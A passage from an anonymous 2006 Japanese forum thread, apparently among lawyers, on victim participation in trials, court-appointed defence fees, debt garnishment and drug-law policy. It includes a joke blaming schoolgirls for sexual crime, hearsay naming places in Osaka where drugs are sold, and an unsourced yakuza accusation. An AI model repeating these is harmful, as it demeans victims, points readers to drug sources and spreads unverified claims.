滞留事件はスタッフ弁護士が掃除するから問題なし。

97 :無責任な名無しさん:2006/07/31(月) 07:00:58 ID:l64CNKxE
付帯私訴はガセじゃなかったのか?


法務省:被害者在廷容認へ 刑事裁判公判で被告に直接質問

 犯罪被害者のための施策として、法務省は、被害者が刑事裁判の公判で当事者席
に座ることを新たに認め、加害者(被告)に直接質問できる制度を設ける方針を固めた。
これまで直接質問はできなかった。刑事裁判の手続きに併せて被害者が加害者に損
害賠償を請求し、同じ裁判官が刑事と民事双方の判断をする「付帯私訴制度」も導入
する意向だ。9月に法制審議会に諮問し、来年の通常国会に刑事訴訟法などの改正
案を提出するとみられる。

毎日新聞 2006年7月31日 3時00分

http://www.mainichi-msn.co.jp/today/news/20060731k0000m040101000c.html

98 :無責任な名無しさん:2006/07/31(月) 09:17:11 ID:JoY2hzwC
>>97
いや、訴訟参加制度と付帯私訴は犯罪被害者基本計画の目玉だよ。
明確には記載してないけど、被害者団体は明確に両制度を求めてる。
導入に反対してるのは日弁連だけw
刑弁センターはともかく、人権擁護委まで導入に反対してるのはいただけない。

99 :無責任な名無しさん:2006/07/31(月) 09:33:51 ID:IuC5BW2C
地方では、マイナー言語の通訳となると、ほとんど取り合いレベルだからなあ。
当番弁護士のとき、マイナー言語の通訳が必要だったんだが、この地方(「県」じゃなくて「地方」ね)には、
その言語の通訳がいない。
しかたなく、警察に電話して「警察の取調べで来てもらってる通訳の先生を貸してくれ。」と頼んだことがある。


100 :アホの坂田 ◆G1sO3fKJLQ :2006/07/31(月) 11:26:47 ID:1dqjtWHD
漏れも外国人の否認やったことあるが通訳の方が高かっただろう
漏れは10万円台の半ばだった

101 :無責任な名無しさん:2006/07/31(月) 11:51:26 ID:yJTlQrRT
被害者による被告人質問を容認する方向だとか・・・

詰問、罵り、説教、演説の場になることは目に見えている。
法務省は「被害者感情」を重視しすぎ。時流に流されすぎ。
「裁判」を舐めてないか?

102 :無責任な名無しさん:2006/07/31(月) 12:48:16 ID:xt87jz0W
異様に要求の強い粘着質の被害者(遺族)を持て余し,
矛先を被告人に向けさせようという魂胆か。

103 :無責任な名無しさん:2006/07/31(月) 14:04:26 ID:AK0dBt7J
主人が逮捕されて数ヶ月。
もう主人は戻ってこなくてもいいから先生とヤりたいです。

104 :無責任な名無しさん:2006/07/31(月) 15:00:39 ID:1IB8TYIX
「法廷で被害者からの直接の激しい叱責を受けたことにより,被告人は自らの罪責を十分すぎるほど痛感し,すでに十分な制裁を受けている。」
と情状弁論すればいい。

105 :無責任な名無しさん:2006/07/31(月) 15:19:11 ID:WJge5jCa
交通事故の後遺障なんかでもめてる事案はどうするんだろ。

損保の弁護士が公判も担当するのか?
民事で因果関係とか争いつつ刑事で認めるってわけにもいかんだろうし。
身柄とられてたりしたら人質司法も極まれりって感じになっちゃうな。


106 :無責任な名無しさん:2006/07/31(月) 15:32:40 ID:yJTlQrRT
おそらく国選弁護士と損保弁護士が仲良く並んで座るんだろう。

ところで損害額の立証は誰がするんだ? Pが治療費や慰謝料や
等級認定や休業損害等を立証してくれるのか?
だとすれば、被害者は楽だな、もう弁護士に頼む必要ないな。
でも、Pが考える等級と被害者が主張する等級が違う場合はどうなるんだ?
被害者にとっては不利になることもありうるな。

107 :無責任な名無しさん:2006/07/31(月) 16:04:06 ID:WFNxQkFa
だいたい症状固定まで刑事裁判待つのかよ

108 :無責任な名無しさん:2006/07/31(月) 17:51:26 ID:1IB8TYIX
損害の一部しか起訴しない窃盗事件や横領事件はどうなるんだ?
起訴された分は認めて,余罪の損害と因果関係とを刑事の法廷で否認して争うのか?

しかも,それに裁判員を付き合わせるのか?
法務省は正気とは思えん。


109 :無責任な名無しさん:2006/07/31(月) 19:08:16 ID:Y859MBLh
法務省はもちろん現場を知りません。
理念だけで制度を作ります。
頭がおかしいわけではありません。ただ、無知なのです。

110 :無責任な名無しさん:2006/07/31(月) 19:14:06 ID:OAkJXVNA
新人です。すみませんが質問です。
相手方が商工ローン業者の債務整理を受任したんですが
差押はすぐにかけてくると思っていた方がいいんでしょうか?
もちろん公正証書作成されてます。


111 :無責任な名無しさん:2006/07/31(月) 19:55:51 ID:1IB8TYIX
>>110
SFCGだろ?してくると思ってたほうがいい。
依頼者と保証人には給差の覚悟をさせろ。勤務先にも先に言わせておけ。

破産していいのならSFCGについては概算でさっさと破産申立して開始決定をもらってしまえばいい。

引き直ししても残債があるようだと,任意整理はなかなかうまくいかないぞ。
差押禁止債権の範囲変更の申立て(民執法153条)や,
請求異議の訴え(民執法35条)の提起とあわせて強制執行停止決定の申立てをすることも考えろ。
ただし,いい判例もあるから,受任通知に添付してやれ。
富山地判平成4年10月15日・判時1463号114頁
東京高判平成9年6月10日・高民50巻2号231頁
あたりを調べてみろ。

過払いが見込まれる場合だったら,過払いなのに差押えしたら慰謝料請求する旨を受任通知に書け。

先に引き直し計算をしてみたい微妙な事案だったら,本人に個人情報保護法に基づく取引経過の開示請求をさせろ。


112 :無責任な名無しさん:2006/07/31(月) 19:57:33 ID:Ir2YU1Nm
業者によるよ。
かけてくること前提で,依頼者に腹をくくらせる。

113 :110:2006/07/31(月) 20:06:53 ID:OAkJXVNA
>111,112
ありがとうございます。助かります。
重ねて質問で申し訳ないんですが、
ほかのサラ金業者やカード会社も債権者になっているんですが、
全部概算で申し立てるというのもアリでしょうか?
最近東京地裁は厳しいということも聞くので・・

114 :無責任な名無しさん:2006/07/31(月) 20:08:56 ID:1IB8TYIX
>>113
東京地裁の取り扱いは知らない。
東京では債権者の請求金額そのまま引き直し計算なしで乗っけてOKなの?
そうなら,最終の各社からの督促状に記載されてる金額を書いて申し立てればいいんじゃない?

115 :110:2006/07/31(月) 20:29:43 ID:OAkJXVNA
いろいろありがとうございます。
SFCGには過払はないんですが、
他の業者にはあるかもしれないという微妙な事案で、
他の業者の過払を無視して破産申立てするのはどうか、という事案です。

あと、SFCGは現在の職場は知らない(借り入れ後転職)と思うんですが、
それでも差押はかけてくると思っていた方が良いでしょうか?

116 :無責任な名無しさん:2006/07/31(月) 20:31:42 ID:o2ZE6x13
>>115
職場を知らないのにどうやって差し押さえるんだよw
どんだけ情報収集能力高いんだよw

117 :無責任な名無しさん:2006/07/31(月) 20:44:16 ID:Ir2YU1Nm
>>113
東京地裁は「引き直せ」と言うと思う。
でも,そんなことお構いなく,引き直し計算なしで申立てを急がないと。
過払金返還請求は免責確定後でもできるし。

118 :110:2006/07/31(月) 20:47:24 ID:OAkJXVNA
>116
職場を調べるのはわりに簡単だと聞きますので。
興信所を使ってでも差押をしてくるものかと
思った次第です。

119 :無責任な名無しさん:2006/07/31(月) 20:59:10 ID:Ir2YU1Nm
>>118
費用対効果を考えて,通常ありえない。
逆の立場(債権者側)に立った場合を想像してくれればわかるはず。
あまり心配しないで大丈夫だと思う。

120 :無責任な名無しさん:2006/07/31(月) 21:01:05 ID:o2ZE6x13
費用対効果というよりコンプライアンスの観点からやらないだろうね
ってあの会社にコンプライアンスも糞もないかなw

121 :無責任な名無しさん:2006/07/31(月) 21:08:01 ID:X3Y+r7S6
俺は事務所に出るのが9時半から10時過ぎ。
普通の通勤通学時間より遅いのは自覚している。
ところが最近俺の出勤時間と
女子高生の通学時間とがやけにかぶる。
電車の車両の半分くらいが同じ高校の女生徒だ。
足を拡げてだらしなく座ったり
胸元やスカートの中を扇子で扇いでいたり。
去年まではそんなことなかったのにな。

俺が性犯罪起こしたら
こいつら女子高生が幇助犯だぜ。

122 :無責任な名無しさん:2006/08/01(火) 02:11:47 ID:g98jh8J7
余所の事務所の大先生2名と弁護団をしている事件があるが・・・
主任弁護人がヘビースモーカーで参ってる
2時間の会議で5〜6本は吸ってる
最初は「吸っていいですか」と聞かれて、やんわり拒絶したら
それからは聞くまでもなく吸い出し、毎回副流煙地獄
今日帰ってきたら服から髪から記録までタバコの匂いしみついてた
この記録、全部コピーし直したいくらい。
何かのどの奥が苦しくなってきた。いがらっぽくて胸が詰まる感じ。
次回は少なくともエアコンの風上に座って(効き過ぎで寒いけど)
それとなく意思表示しよう。
本来はきっぱり言うべきなんだろうけど、もう無意識のうちに
たばこに手が伸び吸ってるという感じで、なかなか言うタイミングがない。
この先生の事務員さんや相談者も耐えてるのかな・・・

123 :無責任な名無しさん:2006/08/01(火) 02:33:37 ID:Gxbb9qjP
>>117
それって少額管財を覚悟しての申立て?
管財人から文句出たり報酬増額されたりしない?

124 :無責任な名無しさん:2006/08/01(火) 09:22:10 ID:7nosKiAa
法テラスの国選弁護のQ&A見たら、示談成立時の報酬加算のところの説明でぶっ飛んだ。

Q:窃盗事件で、被害のあった10件中7件の示談を成立させたような場合の加算報酬はどうなるか?
A:起訴事実すべての示談が成立しなければ、加算事由にならない。だから、上記の場合の加算報酬はゼロ。

つまり、裏取りが大変になる被害多数の事案では、最初から示談なんぞするなということですか。
怒ってて示談を受け付けないような被害者が一人でもいたら、他の被害者との示談もするなということですか。


125 :無責任な名無しさん:2006/08/01(火) 09:25:43 ID:dVN3MLK3
報酬のみが目的ならね。

126 :無責任な名無しさん:2006/08/01(火) 10:27:54 ID:kgRyq3RB
つーか,弁護士の労力をただで使うような組織は嫌だ。
検察官は弁護士の生涯年収と変わらないくらいにまでなる金を給料で得られるから良いが,弁護士は零細自営業者なのにただ働き

127 :無責任な名無しさん:2006/08/01(火) 10:50:39 ID:mHsCVX2c
労力は正当に評価して欲しい。
国選にヤル気を出すな、というメッセージなんだろな。

弁護士は他でガッポリ儲けてるんだろ?という幻想があるんだろう。きっと。

128 :無責任な名無しさん:2006/08/01(火) 11:10:05 ID:KKbVoF1K
大幅原価割れの仕事に対して何も文句をいわずに唯々諾々と従っている馬鹿
は弁護士だけだろう。
公共工事でも何でも官発注の仕事は元来おいしいもののはずなんだよな。
裁判所に真剣に予算を獲得する気がないのが元凶だね。


129 :無責任な名無しさん:2006/08/01(火) 11:24:23 ID:ZlpLX/jE
>>127-128
修習中のPもJもBが国選で儲けようなんて考えちゃいけないって
断言してたもんな
自分たちは刑事事件を処理してたいそうな給料もらってるくせに

130 :アホの坂田 ◆G1sO3fKJLQ :2006/08/01(火) 11:31:04 ID:MccZnB1T
当番を法テラスに委託するって,カネを弁護士会から法テラスに払うってことだろ。
おかしいよなー。
普通業界団体って役所からカネ引っ張ってくるもんだろ。
逆にカネ払ってどうすんだよ。
法曹界も一般社会同様狂ってるよねー。

131 :無責任な名無しさん:2006/08/01(火) 12:26:14 ID:nwVLTxUP
>129
自分達の給料と福利厚生予算だけは懸命に獲得するくせにね・・・
研修名目で豪華海外旅行をしているのは誰か?

132 :無責任な名無しさん:2006/08/01(火) 12:31:26 ID:g1NOJUPw
>>129
儲けようとは思わないが損してまでやろうとは思わない。
私選の7〜8割ぐらいにならないものかね。

133 :無責任な名無しさん:2006/08/01(火) 12:35:51 ID:nwVLTxUP
>132
無駄な公共工事をほんの0・1パーセントでも削れば、ほんの少しでも談合をやめれば
簡単になるよな。

134 :無責任な名無しさん:2006/08/01(火) 12:39:30 ID:jjX6RRm5
>>121
おまえの犯意は既発なんだな。


135 :無責任な名無しさん:2006/08/01(火) 13:17:37 ID:7nosKiAa
国選で大きな否認事件受けた時、記録全部謄写したら赤字になったからなあ。
こういうのを経験すると、もう重大事件の否認事件はやりたくなくなるな。


136 :無責任な名無しさん:2006/08/01(火) 13:28:50 ID:CQ6vkyij
10年くらい前だけど,ただのオーバーステイだと思って受けたら,
強盗が次々と各地検で追起訴され,最終的に懲役15年求刑。
3件は共謀を争う否認が混じってた。_| ̄|○ 

137 :無責任な名無しさん:2006/08/01(火) 16:55:27 ID:J4alJzGS
>>124
そもそも,保釈も示談も,過程(弁護士の訴訟行為・訴訟外の行為)で評価されなければ適正でない。
刑事弁護契約は,請負じゃなくて委任なんだよ。それが法務省の役人にはわからないらしい。

無罪判決の報酬加算は,なくてもいい。
それは単なる結果だから。

誰かこのスレをプリントアウトして,法テラスと司法改革推進本部と法務省と日弁の総合業務推進センターとやらに送ってくれ。

138 :無責任な名無しさん:2006/08/01(火) 16:55:27 ID:bNKG53bD
 最近、結構暇だ。
 忙しいときは、仕事が嫌になり、暇なときは、事務所経営は大丈夫かと不安になる。
 救いのない商売だ。

139 :無責任な名無しさん:2006/08/01(火) 17:36:41 ID:PQ0r3xaP
俺は忙しい時は儲かっているのでうれしくて仕方がないがなぁ・・・
でも暇な時はいやだねぇ。しばらく続くと本当に不安になる。


140 :138:2006/08/01(火) 17:55:20 ID:bNKG53bD
 儲かる仕事で忙しいときは(滅多にないけど)嫌だとは思わないのですが、儲からない、筋の悪い事件で忙しいときに限って、また儲からない急ぎの案件が来たり
とか、緊急の相談といわれて入れたら、全然緊急じゃなかったり、既に手遅れだったりするので嫌になるのですよ。
 また、儲かる事件はどんどん起案が進んでいくが、儲からない事件ほど起案が進まないのでたまっていくということもあります。

 現状は暇だけど、8月終わりから9月頭は結構ハードになりそうです。今のうちに前倒しでやればいいのだけど、もう帰ろうかと思っています・・。

141 :無責任な名無しさん:2006/08/01(火) 18:33:00 ID:5nOcU1Ka
>>140
暇なときに早く帰らないと、早く帰る日なくなるぞ。

142 :無責任な名無しさん:2006/08/01(火) 20:04:58 ID:kgRyq3RB
ちょっと前に,細々としたクズのような事件で忙しいときに,とても儲かる事件が来たが,やむなく断ったことがある。

143 :無責任な名無しさん:2006/08/01(火) 21:09:49 ID:ekvrNSBQ
>>142
自分の経験上から言わせて貰うと、イソ弁はどんなに忙しくても、
死にそうな場合でも、自分の個人事件を断ってはならない。
これは、鉄則です。

もちろん、すでに勤務弁護士で終わる覚悟でいる先生は、
反対に読んで下さい。

144 :MS754 ◆yGUnQdhyV2 :2006/08/01(火) 21:18:16 ID:F3W4jrCi
>>143
真理ですね。

145 :無責任な名無しさん:2006/08/01(火) 21:57:01 ID:h6pv0I+Q
「暇なときが休みどき」ですね。
盆だろうが年末だろうが,休みたいとき休めないことがあるんだし。

146 :無責任な名無しさん:2006/08/02(水) 02:06:30 ID:beVxHVXR
>>81
 湯島天神に奉納された絵馬に「二回試験トップ合格 4X期」との記載が
あった。奉納した修習生の願い事が叶ったかどうかは,不知。

147 :無責任な名無しさん:2006/08/02(水) 02:12:30 ID:beVxHVXR
>>124
 金3万円の70%をインセンティブにするのが相当と思料する。

148 :無責任な名無しさん:2006/08/02(水) 02:18:35 ID:beVxHVXR
 当職は,裏日本地方都市で仕事をやっているが,破産審尋とか,提出書類
の書き方が,結構変わっているような様子。
 審尋の際はきっちり人定質問してくるし,最後は,「今後は絶対に無理な
借金はしません」みたいなことを言わされる。で,最後に「代理人から補足
はありますか」と言うので,思わず,「被告人と同様です」と述べてしまっ
た。
 そのうち,「弁論要旨出せ」とか言われるかも知れない。

149 :無責任な名無しさん:2006/08/02(水) 04:47:17 ID:9P/Wd30o
スレ違いかもしれませんが、これから法曹を目指そうと思った矢先、大麻取締法で逮捕され有罪、執行猶予で釈放されました。もう法曹への道は閉ざされてしまったのでしょうか?

150 :無責任な名無しさん:2006/08/02(水) 05:45:48 ID:beVxHVXR
>>149
 暴走族のケツ持ちで少年院出身者で修習生に採用された人は知っている(採用通知が多少遅れた)。
 労働運動で威力業務妨害罪に問われ,公判請求で罰金○万円という人は,現在弁護士をやっている。
 一昔前は,学生運動でパクラれた前歴を持っているという人はかなりいると思う。
 ただ,ご質問のような懲役刑(執行猶予付き)はどうなのだろう?
 公務員の採用基準や失職基準を考えると,少なくとも執行猶予が明けるまでは,たぶんダメだと
思うし,明けた後の修習生採用は,よく分からない。
 公然わいせつで修習生を罷免された人がいて,この人は,その後「修習生採用願い」を出しても
拒絶されているし,鬼頭史郎元判事の弁護士会入会願いも数次にわたり,進達拒絶(事実上の入会拒否)
されている。

151 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/02(水) 08:06:45 ID:IHAsjXXj
http://www.elint.co.jp/yokoben/info/statement/f_20060711_10935.html

152 :無責任な名無しさん:2006/08/02(水) 08:58:36 ID:2g3Gjr1m
>>149
交通死亡事故を起こし、執行猶予期間が明けてから修習生になった人はいたと思う。


153 :149:2006/08/02(水) 09:09:12 ID:9P/Wd30o
マジレスありがとうございます。最高裁に問い合わせたところ、司法修習生採用に関しては、執行猶予期間終了後は「恐らく大丈夫」との事でしたが、弁護士会への入会審査に関しては微妙な返答でした。大麻という薬物事案になるとやはり厳しいのでしょうか?

154 :無責任な名無しさん:2006/08/02(水) 10:14:22 ID:SQ4kSuSi
実名報道されていたり,逮捕起訴された地域の単位会に登録申請するのでない限り,
弁護士会が入会審査に際して,執行猶予期間満了した登録希望者が,執行猶予つき懲役刑を過去に受けていたことを知る方法がないと思う。

155 :無責任な名無しさん:2006/08/02(水) 10:16:45 ID:5UgO6z3y
>>154
しかし,わかりきっているのに大麻に手を出すなんてのが.......

156 :無責任な名無しさん:2006/08/02(水) 11:05:32 ID:T0ByKeLT
まあ、ネタだとは思うけど、本当だとしたら、
間違っても法曹なんか目指すなと言いたいところだな。

157 :無責任な名無しさん:2006/08/02(水) 11:39:58 ID:bZ30YwpS
>>153
うちの会は君みたいなのは入れないと思う。
つーか,そもそも法曹を目指さないで欲しい。

158 :無責任な名無しさん:2006/08/02(水) 11:51:23 ID:da+Zjwj4
大麻吸いながら、これから法曹を目指そうと思ったのか・・・。

159 :無責任な名無しさん:2006/08/02(水) 11:53:15 ID:fBLVa/cv
純粋に疑問なのだが、どうやったら大麻に手を出せるのだろう?
「上野でイラン人から」とか「六本木のクラブで外人から」とか聞くが、
上野を歩いていても六本木のクラブに行っても、
そういう状況に遭遇したことないぞ。

160 :無責任な名無しさん:2006/08/02(水) 12:17:49 ID:1Pd1+2AG
 大阪で有名なN地区では、売人っぽいのを見かけるけどね。さすがに声をかけられたことはないけど。

161 :無責任な名無しさん:2006/08/02(水) 12:31:50 ID:SQ4kSuSi
多くのケースでは,「友人」に勧められたのがきっかけのようだ。
「友人」は当然当初から継続的消費者に育てる目的で勧めているわけだけれども。

「友人」の名前を出すと後が大変なので,イラン人やブラジル人から道やクラブで買ったことになる。


162 :無責任な名無しさん:2006/08/02(水) 12:36:16 ID:y+uKXXIl
>>160
N地区ってどこだ、教えてくれ。

大阪では、シャブはもうA地区だけに限らず、
府下のほとんどのパチンコ店内で入手できるようだが。

163 :無責任な名無しさん:2006/08/02(水) 12:44:31 ID:GegR3VjS
西成

164 :無責任な名無しさん:2006/08/02(水) 13:22:54 ID:1Pd1+2AG
 確かに正確にはN区A地区だったね。念頭においていたのは、ホテルT及びその近辺だけど。
あと、若い人は、ミナミのA村でも買っているようだ。パチンコ店で買ったという話も聞かないではないが。
 しかし、薬物事犯の被告人が、再びN区に住む予定であることを、悪情状とする論告がみられるけど、もともと住んでいる人からみてどうなのだろう。

165 :無責任な名無しさん:2006/08/02(水) 14:34:12 ID:Gk9ykxT4
都内では、マンションの1室で完全会員制のバーがはやりつつあるらしく、
そういったところで薬物の取引が行なわれているそうだ。

俺は一人でバーで遅くまで飲んでいたりすることが多いのだが、
単に酔っ払っているだけではなさそうな若者を見かけることが多々ある。






166 :無責任な名無しさん:2006/08/02(水) 15:43:40 ID:fdBTB6mU
大麻はな戦前は合法だったんだよ。普通にその辺で栽培したりしてたとか。戦後GHQ
の命令で非合法になったんだよ。新聞記者がマリファナをよくやってたなんて話を本で
読んだことがある。当時は合法だったからね。今でもオランダのようにマリファナなどの
ソフトドラッグは合法の国もある。

覚醒剤もそう。戦時中は兵士の士気高揚のために旧軍が使っていたのは有名。戦後
もヒロポンなんていわれて普通に出回っていたのだが副作用の大きさから禁止された。

ちなみに大麻取締法が制定されたのは昭和23年。覚醒剤取締法は昭和26年。

ちなみに俺はクスリの類はもちろんたばこも一切やらない。酒も飲まない。新幹線は
必ず禁煙席にするし満席なら遅らせる。あの臭いは耐えられない。

167 :無責任な名無しさん:2006/08/02(水) 15:55:45 ID:1Pd1+2AG
 そういえば、私が修習生の頃、大麻取締法違反の事案で違憲論を展開することをライフワークとされている先生がいたが、あの方は今もがんばっておられるのだろうか。

168 :無責任な名無しさん:2006/08/02(水) 16:09:07 ID:fdBTB6mU
アメリカでは中毒性というか依存症という点ではたばこも大麻などと変わらないから
法的規制(所持、譲渡、売買、服用などの禁止)が必要だという意見もあるがあまり
にも普及してしまっているのでそれは現実的ではないのでたばこ税の値上げやたば
こ会社に対する懲罰的賠償という形で間接的に規制を強化している。アメリカは州や
自治体によって法律が違うけど、厳しい自治体だと自宅以外全面禁止で違反者は禁
固刑というところもある。自宅のベランダで吸っても煙が隣にもれたらアウト。役所は
勿論バーやレストランも全面禁煙。分煙も不可。全面禁止を経営者に義務づけ違反
者には営業停止、罰金、禁固刑などの刑罰が科される。

俺は快適な環境だなあと思うんだけどこの話を喫煙者にすると異常だとか全体主義
だとか言われる。

169 :無責任な名無しさん:2006/08/02(水) 16:09:17 ID:9kcVK6SF
>167
何で違憲って主張してるの?13条?

170 :無責任な名無しさん:2006/08/02(水) 16:19:41 ID:xAsq/Zge
>>167
大麻取締法被害者センター-大麻取締法は憲法違反です。大麻で逮捕しないでほしい。
http://www.asayake.jp/thc/

 大麻取締法は憲法違反です。最高裁は審理して下さい。
 大麻規制、酔いはアルコール程度、煙害はタバコ程度で十分です。
 大麻取締法の被害者は、逮捕された本人と、それ以上に家族です。
 医療、食糧、産業、環境の面からも大麻の見直しが進んでいます。
 公共の場所での喫煙の自由を求めているわけではありません。
 自宅で誰にも迷惑をかけずに楽しみたいだけです

171 :無責任な名無しさん:2006/08/02(水) 16:21:09 ID:fdBTB6mU
ちなみに弁護士だと東弁のI先生が有名。「嫌煙権確立をめざす法律家の会」の代表。
国鉄嫌煙権訴訟はあまりにも有名。

172 :無責任な名無しさん:2006/08/02(水) 16:27:27 ID:xAsq/Zge
>>167
資料:大麻取締法の問題点(違憲論を巡る最高裁判例の問題点)
http://www.cannabist.org/database/problemslaw/index.html

【資料1】 1948年、大麻取締法が制定された経緯について説明した、
当時の内閣法制局長官による回想文。
最初は占領軍の圧力で大麻取締法が制定されたこともあり、1952
年の主権・独立回復後、廃止論も出されたが、1960年代になると逆
に大麻取り締まりの強化が必要になったということを力説している。

日本の大麻取締法の性格が、当初は農作物の規制としてとらえら
れていたが、その後、薬物規制という面に変わっていったことが分
かる。

CANNABIST Internet - カンナビスト 大麻非犯罪化人権運動
http://www.cannabist.org/index.html

医療大麻裁判
http://www.iryotaimasaiban.org/

医療大麻を考える会
http://www.iryotaima.org/index.html

173 :無責任な名無しさん:2006/08/02(水) 16:55:42 ID:Im/FoIYU
昔から思っていたのだが,薬物違反ってどうしてあんなに刑が重いのだろう。
たいしたことないのに。
罰金100万円納付したら懲役にしないことにすればいいのに。

174 :無責任な名無しさん:2006/08/02(水) 17:10:05 ID:pVCFtM63
>>173
おいおい....

175 :無責任な名無しさん:2006/08/02(水) 17:17:10 ID:bZ30YwpS
確かに昔は覚せい剤でも罰金だった
でもそれじゃあダメなので,厳罰化が進んだ


176 :無責任な名無しさん:2006/08/02(水) 17:30:30 ID:da+Zjwj4
今日は、ボクシングを見たいので、もう帰ります。

177 :無責任な名無しさん:2006/08/02(水) 17:50:40 ID:9kcVK6SF
試合までまだまだあるじゃないか

でも俺も今日はもう帰ろ。
切羽詰まった起案がないと、どうもやる気がでない。

178 :無責任な名無しさん:2006/08/02(水) 18:04:02 ID:YYIf60vY
大麻取締法違反について、憲法違反で無罪とまでは争わないが、実質的に処罰する理由が乏しい
との情状面での弁論を10年以上前にしたことがあるなぁ。
検察官も裁判官も目を剥いていたな。そんなに変なこと言ったつもりはないんだがな。

179 :無責任な名無しさん:2006/08/02(水) 18:43:25 ID:bZ30YwpS
交通違反でシートベルトとか一時停止違反とか20キロオーバーとかショボイのがたくさんある被告人の弁論要旨で
それほど悪質なことはしていない
と言ったことはある。

誰も何も言わなかった。みんな腹の底ではそう思っているんだろう。

180 :無責任な名無しさん:2006/08/02(水) 19:30:59 ID:Rzf2tdz0
>179 それはあるよね
だけど今は「速度違反の程度は大きくない」って認定すると
被害者が文句つけ垂れ流し報道される時代だからな・・・
道交法違反だけの事案ならいいけど

別の話だが離婚事件,終了後家具の引渡しで単なる橋渡し
だけのつもりが当事者双方でちともめた
面倒見てやるって気持ちもほどほどにしないとだめだな
報酬なしでやることで精神的疲労大

181 :無責任な名無しさん:2006/08/02(水) 20:21:44 ID:y+uKXXIl
私見では、薬物の刑事政策・立法問題には、
基本的に、後見的・親権的国家の観点からする法制度の行き過ぎと、
これを容認せざるを得ない未熟な日本国民1人1人の
個人主義的主体性、責任感、独立性のなさに由来するのではと。

この問題提起に対する、諸先生方からのご高見を乞う。


182 :無責任な名無しさん:2006/08/02(水) 20:55:18 ID:dgBqXXjT
>>181
戦後すぐまでは薬局で覚醒剤が買えた。
なぜ禁止すべきかは昔の芸人でも聞いてみれば解る。

害がなければ国が専売しているよ。

183 :無責任な名無しさん:2006/08/02(水) 22:14:01 ID:3AlwSu7A
せっかくボクシング見るために早く帰ったのに,
八百長とは酷すぎる・・・
 よおう頑張った,つぎ頑張れよと思った瞬間,勝ちかよ。なんだそりゃ。

184 :無責任な名無しさん:2006/08/02(水) 23:50:38 ID:tp3IioK7

  /;:;:;:;:;:;:;;:;:;:;:;:;:;::;:;:;:;:;;:ヽ                   /:.'`::::\/:::::\
  /;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;;:;:;:;:;:;:;:;i                  /::            \
  i;:;:;:;:;:;:;:;:;:;:;:;'''"'"'"ヾ;:;:;:;:;!                  /::.  .---‐'  """\ ヽ
  !;:;:;:;:;:| ,,,,,,,, -‐‐- ヾ;/                  |::〉 ,_;:;:;ノ、   ●" |
   ヾ、;:;:| =・= =・=  !"___            (⌒ヽ             |)
      \ :::L::   i       ̄`''ヽ、     、 ( __     ( ∩∩ )    |
     __ゝ'""""'' ,/       ,,.....、_ ヽ   ,,・   |           /  
    /  \ヽ,,,,,-''"       /    `ヽ! , ’,∴. ・ ¨ ヽ    / ̄  ̄7 / オヤジ話がちゃうで
   /"    (ノ    i      |     ’,∴、∵. ’    \  (──-┘ /  この人マジやんか!
   |      |     i     |        i        /\____/ヽ
   |  r'""/     ヽ    ヾ ,.--    |       /       /\ 〉 
   !  '/        ヽ    `ー‐''"ヾン      /        /


185 :無責任な名無しさん:2006/08/03(木) 01:39:50 ID:Mh2jE5wT
>>55
えらいお

186 :無責任な名無しさん:2006/08/03(木) 09:25:57 ID:fUzbTeEt
ボクシンクって結局プロレスと同じでショーだね。
どうせなら、親父がゴングを手に乱入した方が盛り上がったね。

187 :無責任な名無しさん:2006/08/03(木) 09:30:32 ID:zF64cdP4
法テラス後の刑事裁判もプロレスと同じですよ。

188 :無責任な名無しさん:2006/08/03(木) 09:38:32 ID:fUzbTeEt
弁護人も傍聴人も被告人も無罪判決を確信した瞬間に、「被告人を懲役・・・・」との判決か?

189 :無責任な名無しさん:2006/08/03(木) 10:01:36 ID:hCESrTAm
だいたい菱の英が面倒見ていたのに,あの父親が卑しいこと言い出して,住○に抱えてもらって,T○Sと住吉と電○は仲良しだから煽りに煽って盛り上げようとしているけど,

ヤクザの興業です。

190 :138:2006/08/03(木) 10:57:54 ID:0FYMb4WB
 最近暇だと書いたが、急ぎの大きめの破産が来そうだ。お盆休みはないな。

191 :無責任な名無しさん:2006/08/03(木) 11:07:32 ID:osjggaQJ
漏れもそうだが,例年お盆の前に破産案件が次々くる。
なんでだろ〜。なんとかならないかな。

192 :無責任な名無しさん:2006/08/03(木) 13:30:50 ID:hCESrTAm
http://www.mainichi-msn.co.jp/chihou/nara/news/20060802ddlk29040523000c.html

これって強盗なんかな?
不法領得の意思とか

193 :無責任な名無しさん:2006/08/03(木) 16:34:04 ID:/sQ07k9d
うーん。参ったよ。
無職、住居不定の若者の刑事弁護。
執行猶予は付くと思うけど、その後をどうしたらよいのだろう。
家族はなし。

194 :無責任な名無しさん:2006/08/03(木) 16:39:51 ID:osjggaQJ
>>193
「法務検察当局におかれては更生者緊急保護法の適用が相当である」
というのはどうですか?

195 :無責任な名無しさん:2006/08/03(木) 16:48:53 ID:SOWRazpq
>>193
言葉の上だけでも「実家に戻って正業につきます。」と言わせて、故郷に帰る費用を保護局
から出してもらって故郷に送り返すしかあるまい。

196 :無責任な名無しさん:2006/08/03(木) 17:15:59 ID:/sQ07k9d
更生者緊急保護法?そんなのがあるんですか?
長年断絶してる父親に連絡とるしかないかな。

197 :無責任な名無しさん:2006/08/03(木) 17:23:54 ID:osjggaQJ
>>196
正式名称は忘れたが,法務省所管の保護部門でやっている制度だった。
更生の可能性が大(要するに執行猶予みえみえ)なのに住居不定無職なんかが対象。
保護会においたり,当座の生活援助や就労援護をしてくれるそうだ。

一番いいのは,田舎のオヤジやお袋が判決当日に飛んでくることだけどね。

198 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/03(木) 17:41:58 ID:q7fWLQmK
ずっと昔にやった事件で,暮れも押し詰まった判決期日に沖縄から被告人の
姉さんが飛んできたことがあった。
帰りのチケットとるのに一苦労してたようだ。

199 :無責任な名無しさん:2006/08/03(木) 18:25:35 ID:b8PNC5RZ
>197
犯罪者予防更正法48条の2に定められている「更生緊急保護」制度だな。
金なし・家なし・身内なしの被告人のときは,結構使ってる。

200 :無責任な名無しさん:2006/08/03(木) 19:00:49 ID:/sQ07k9d
そういった制度があることに全然目が行き届きませんでした。
ありがとうございます。

201 :無責任な名無しさん:2006/08/03(木) 19:03:28 ID:r/gGhL7p
高山一味の紙切れ読んでたら、北朝鮮への制裁を批判してたな。
こんな奴らがいっぱいいるから弁護士会って世間から白い目で見られるんだろうな。
共産党ですら世論の反感を考えて「制裁やむなし」見たいに嘘ついてるのに。

202 :無責任な名無しさん:2006/08/03(木) 19:24:33 ID:hCESrTAm
革マル

